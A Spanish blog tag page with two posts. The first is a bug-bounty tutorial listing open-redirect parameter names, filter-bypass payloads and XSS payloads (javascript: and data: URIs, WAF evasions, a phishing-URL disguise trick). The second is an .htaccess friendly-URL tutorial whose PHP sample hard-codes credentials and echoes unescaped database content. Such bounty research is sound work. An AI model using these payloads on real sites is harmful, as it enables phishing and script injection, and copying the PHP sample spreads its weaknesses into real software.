Mostrando entradas con la etiqueta redireccion. Mostrar todas las entradas
Mostrando entradas con la etiqueta redireccion. Mostrar todas las entradas

viernes, 12 de octubre de 2018

Utilizando Redireccionamientos abiertos para bug bounties

Introduccion

Esto es solo una publicacion rapida que describe algunos consejos utiles para identificar vulnerabilidades de redireccionamiento abierto y tambien como utilizarlas para crear vulnerabilidades mas graves.

A pesar de que son vulnerabilidades de bajo riesgo, todavia hay muchos programas de recompensas que dan pagos por ellos, y generalmente se pueden convertir en XSS con bastante facilidad, lo que permite un pago en practicamente todos los programas de recompensas, aqui hay algunos ejemplo de programas que pagan por redirecciones abiertas:

* Shopify: $500
* Okta: $500
* Teslamotors: $500

Los redireccionamientos abiertos (para cualquier persona que no lo sepa) son simplemente enlaces donde puede especificar un enlace a una URL remota desde una URL confiable y redirigira al usuario alli sin una advertencia, lo que puede llevar a un phishing entre otros riesgos, aqui un ejemplo:

http://www.construcciononline.com.mx/redirect.php?clasif=296&edo=&mpio=&type=8&url=arthusu.blogspot.com&path=/busca.php&id_cliente=148547

en este caso, un atacante podria redirigir desde construcciononline a arthusu.blogspot.com

* ?url=
* ?redirecturl=
* ?returnUrl=
* ?go=
* ?return=
* ?exitpage=
* ?fromUrl=
* ?fromuri=
* ?redirect_to= 

Hay muchos mas, estos son algunos ejemplos de como podemos darnos cuenta facilmente o buscar dorks sobre las redirecciones de URL.

Tecnicas de Bypass

A continuacion pasare algunos metodos de redireccion (que no sean simplemente enlaces a la URL):

* //arthusu.blogspot.com - si http: esta siendo filtrado
* https:arthusu.blogspot.com - si // se esta filtrando
* \/\/arthusu.blogspot.com/ - el navegador trata \/\/ como //
* /\/arthusu.blogspot.com - igual que arriba
* //arthusu[porcentaje00].com - nullbyte para omision del filtro, en lugar de porcentaje es % sin [] corchetes
* //arthusu%0a%0d.com - CRLF puede omitir el filtro
* http://arthusu.com@sitioaleatorio.com - redirigira a sitio aleatorio que esta despues del @ (aveces pide permiso al usuario)
* http://arthusu.blogspot.com/?x=http://sitioconfiable.com - Funciona cuando sitioconfiable.com esta en la lista blanca de sitios
* %61%72%74%68%75%73%75%2e%62%6c%6f%67%73%70%6f%74%2e%63%6f%6d - codificado en url encode
* YXJ0aHVzdS5ibG9nc3BvdC5jb20= - Codificado en base64
* arthusu。blogspot。com - Algunos navegadores como firefox soportan esta caracteristica, que normaliza la entrada lo que hace es que 。se muestre como .
* arthusu%E3%80%82blogspot%E3%80%82com - lo mismo que lo anterior pero codificado

Ademas de lo anterior, otro metodo que puede permitir el abuso de redireccionamientos abiertos es la contaminacion de parametros HTTP, por ejemplo, si la URL vulnerable es ejemplo.com/redir.php?url=http://arthusu.blogspot.com pero no redirige luego podria intentar llamar al mismo parametro GET dos veces, por ejemplo, ejemplo.com/redir.php?url=http://arthusu.blogpost.com&url=http://arthusu.blogspot.com/
Tambien he visto redireccionamientos en los que la redireccion a una URL no es permitido, pero la direccion a la IP directa funciona bien.

Convirtiendo redirecciones en XSS

Ahora, una redireccion es buena pero lo ideal es que quieras apuntar a falsificacion de contenido o XSS (tambien se puede con SSRF, pero se vera en otra publicacion) para aumentar tu pago. A continuacion detallare algunos metodos para hacerlo..

Aqui esta el mas obvio, redireccionamiento directo a js:// URI Schema

javascript:alert(1337)

alert.call tambien se puede utilizar:

javascript:alert.call(this.%20document.domain)

por supuesto, si se filtra la alerta, puede intentar usar 'prompt', 'confirm',etc

Si el parentesis activa WAF, puede usar:

javascript:confirm`1337`

Para acceder al document.domain, document.cookie,etc. A traves de cadenas de plantillas, puede utilizar uno de los dos metodos, este primero es el mas elegante:

javascript:prompt`${document.domain}`

Si el metodo anterior no funciona por algun motivo, esto tambien se puede lograr a traves de setInterval:

setInterval`alert\%0A28document.domain\%0A29`

CRLF puede utilizar para eludir el WAF:

javascr%0a%0dipt%0a%0d:alert`1337`

Si la URL suministrada se refleja en el codigo de la pagina dentro del contexto de una etiqueta de script (por ejemplo, se carga dentro de una etiqueta script y con el valor document.location) entonces puede usar el siguiente payload para romper la etiqueta de secuencia de comandos y activar una alerta:

";alert(0);//

Tambien he encontrado que un payload que funciona comunmente con parametros relacionados con la redireccion es el siguiente:

'-confirm(0)-'

o

"-confirm(0)-"

Si ninguno de los metodos anteriores funciona e intenta redirigir a js:// URI esta generando un error de contenido dañado o HTTP 500, entonces puede intentr redirigir a una URI data:// como:

data:text/html,<script>alert(1337)</script>

Si las etiquetas HTML estan activando una respuesta WAF, tambien puede codificar en base64 la entrada para la URI asi:

data:text/html;base64,PHNjcmlwdD5hbGVydCgxMzM3KTwvc2NyaXB0Pg==

Ahora debe tener en cuenta que el metodo anterior que usa data:// tecnicamente no es un XSS (ya que el script se carga en un contexto nulo en lugar del contexto del sitio destino) todavia se puede usr para el phishing, entre otras cosas, y representa mas de un riesgo que un redireccionamiento abierto regular (aunque un menor riesgo que XSS), tambien debe tener en cuenta que si se agrega el relleno al URI, puede hacer que el navegador muestre data:// o incluso una barra de direcciones en blanco, que parece sospechoso que un monton de entradas codificadas en base64. Con algunos trucos adicionales, tambien puede hacer que parezca que muestra la URL de origen valida (por ejemplo, http://ejemplo.com/data:text/html;base64,blahblahblah) que puede engañar facilmente al usuario habitual de una computadora.


Espero que hayan aprendido una o dos cosas de esto.

domingo, 26 de octubre de 2014

[HTACCESS] URL's Amigables

Bienvenidos a este tutorial, bueno la verdad es que no tenia ganas de postear nada de esto por que hay una gran cantidad de tutoriales en la web sobre lo mismo, pero se que a algunos les sera de utilidad este minitutorial.

Las URLs amigables nos son útiles para el SEO, de manera que nos encuentren mas rápido en los resultados de algún buscador, tambien nos es útil cuando nos quieren atacar ya que casi siempre y por no decir siempre atacan a paginas PHP que incluyen parámetros y al utilizar dorks también realizan lo mismo.

La finalidad de este tutorial es llegar a una URL como la siguiente:

http://localhost/mod_rewrite2/noticia/2/"blackhat"€-rompe-el-mito-del-"€œhacker".html
Dejándonos algo como lo siguiente:


 Sin mas comencemos...

Antes que todo debemos estar seguros que en nuestra configuración de PHP tengamos habilitado el modulo mod_rewrite de apache, ya que sin el no seremos capaces de sobreescribir nuestras urls.

Debemos tener activado también la directiva AllowOverride para que nos permita realizar redirecciones. Al igual que también debemos activar FollowSymlinks el cual sigue enlaces simbolicos (recuerden que esta directiva nos puede tambien causar problemas de seguridad, pero esto si llegasen a entrar al servidor).

De manera que en nuestro archivo de configuracion de apache (lo puedes verificar con la función phpinfo() si no tienes idea de cual es), debería quedar de la siguiente manera:



La parte mas importante de aqui es el archivo de configuración .htaccess al cual le agregaremos la expresion regular para que nos rediriga a donde queremos.


RewriteEngine On
RewriteBase /mod_rewrite2/
RewriteRule ^noticia/([0-9]*)/(.*)\.html$ index.php?id=$1&titulo=$2 [L]

En el caso siguiente tengo mi archivo .htaccess. Explicare que hace cada cosa.
RewriteEngine On - Activamos el motor de sobreescritura de URLs
RewriteBase /mod_rewrite2/ - Con esto le especifico que quiero que de esta carpeta comienze la sobreescritura de URLs
RewriteRule ^noticia/([0-9]*)/(.*)\.html$ index.php?id=$1&titulo=$2 [L] - Le doy una regla, donde todo lo que coincida con la expresion regular sea sobreescrito. Para entender mejor esto podemos utilizar la herramienta:

http://www.regexr.com/

  
Con esto nos daremos cuenta fácilmente que nuestra expresión regular coincide perfectamente con el tipo de URL que queremos construir. Como en esta parte no trataremos las expresiones regulares les recomiendo que se pasen por: http://arthusu.blogspot.mx/2013/07/phpexpresiones-regulares-pcre.html

Lo que sigue que es index.php?id=$1&titulo=$2 [L] con $1 y $2 hacemos referencia a los grupos de expresiones regulares donde $1 es el primer grupo ([0-9]*) y $2 es el segundo grupo (.*). Esto si coinciden las expresiones regulares en index.php?id=1&titulo=este es mi titulo nos devuelve la noticia correctamente. Con la bandera L detenemos el proceso de verificación de esta manera solo lo realiza y no gastamos mas recursos.

Un  excelente generador de redirecciones que les puede servir es:
http://www.generateit.net/mod-rewrite/index.php

Por ultimo tenemos nuestro codigo PHP:


<!DOCTYPE html>
<html>
<head>
 <meta charset="utf-8">
</head>
<body>
<?php
 error_reporting(0);
 function urls_amigables_decodificar($url) {
  $url = strtolower($url);
  $url = str_replace ('-', ' ', $url);
  return $url;
 }
 function urls_amigables_codificar($url){
  $url = strtolower($url);
  $find = array('á','é','í','ó','ú','ñ');
  $repl = array('a','e','i','o','u','n');
  $url = str_replace($find, $repl, $url);
  $url = str_replace(' ', '-', $url);
  return $url;
 }

 $con = mysqli_connect('localhost','arthusu2','12345','noticias');
 mysqli_set_charset($con,"utf8");

 if(isset($_GET['id']) && isset($_GET['titulo'])){
  $titulo = urls_amigables_decodificar($_GET['titulo']);
  $id = $_GET['id'];
  
  $id = mysqli_real_escape_string($con,$id);
  $titulo = mysqli_real_escape_string($con,$titulo);
  $q = "SELECT * FROM noticias WHERE id='$id' AND titulo='$titulo'";
  $result = mysqli_query($con,$q);
  while ($array = mysqli_fetch_array($result,MYSQLI_ASSOC)) {
   echo "<title>".$array['titulo']."</title>";
   echo "<h2>{$array['titulo']}</h2>";
   echo $array['noticia'];
  }
 }else{
  $q = "SELECT * FROM noticias ORDER BY id DESC";
  $result = mysqli_query($con,$q);
  while ($array = mysqli_fetch_array($result,MYSQLI_ASSOC)) {
   echo "<title>Inicio</title>";
   echo "<h2>{$array['titulo']}</h2>";
   echo $array['noticia'];
   echo "<br>";
   echo '<a href="noticia/'.$array['id'].'/'.urls_amigables_codificar($array['titulo']).'.html">Ir al vinculo</a>';
  }
 }
 mysqli_close($con);

?>
</body>
</html>

En este caso estoy trabajando con una base de datos. Selecciono las noticias por id y titulo, si coincide las arroja.

En caso de que no existan los valores id y titulo por el método GET me muestra todas las noticias.

Al final del archivo se genera un enlace e incluimos dos funciones aquí: 
Cuando codificamos la url le agregamos - (guiones) a los espacios y le quitamos los acentos a los caracteres. Cuando decodificamos le quitamos los - (guiones) y en minúsculas.

No importa mucho los caracteres por que en mysql le especifico un charset utf8 que soporta acentos, y también en la meta para que al mostrar me muestre los datos correctamente.

Por ultimo comentarles que la base de datos esta estructurada de esta manera:


 A lo cual solo insertamos datos.

Se me hace algo bastante tedioso explicar todo esto, ya que deje algunas partes de tutoriales de PHP y tambien sobre PHP PCRE. Por lo cual es demasiado facil, solo activar el modulo poner las reglas en el .htaccess y correr nuestro script.

Las noticias las inserte mediante el administrador phpmyadmin.

Mas que nada esto no seria un tutorial sino algo que muestro, saludos.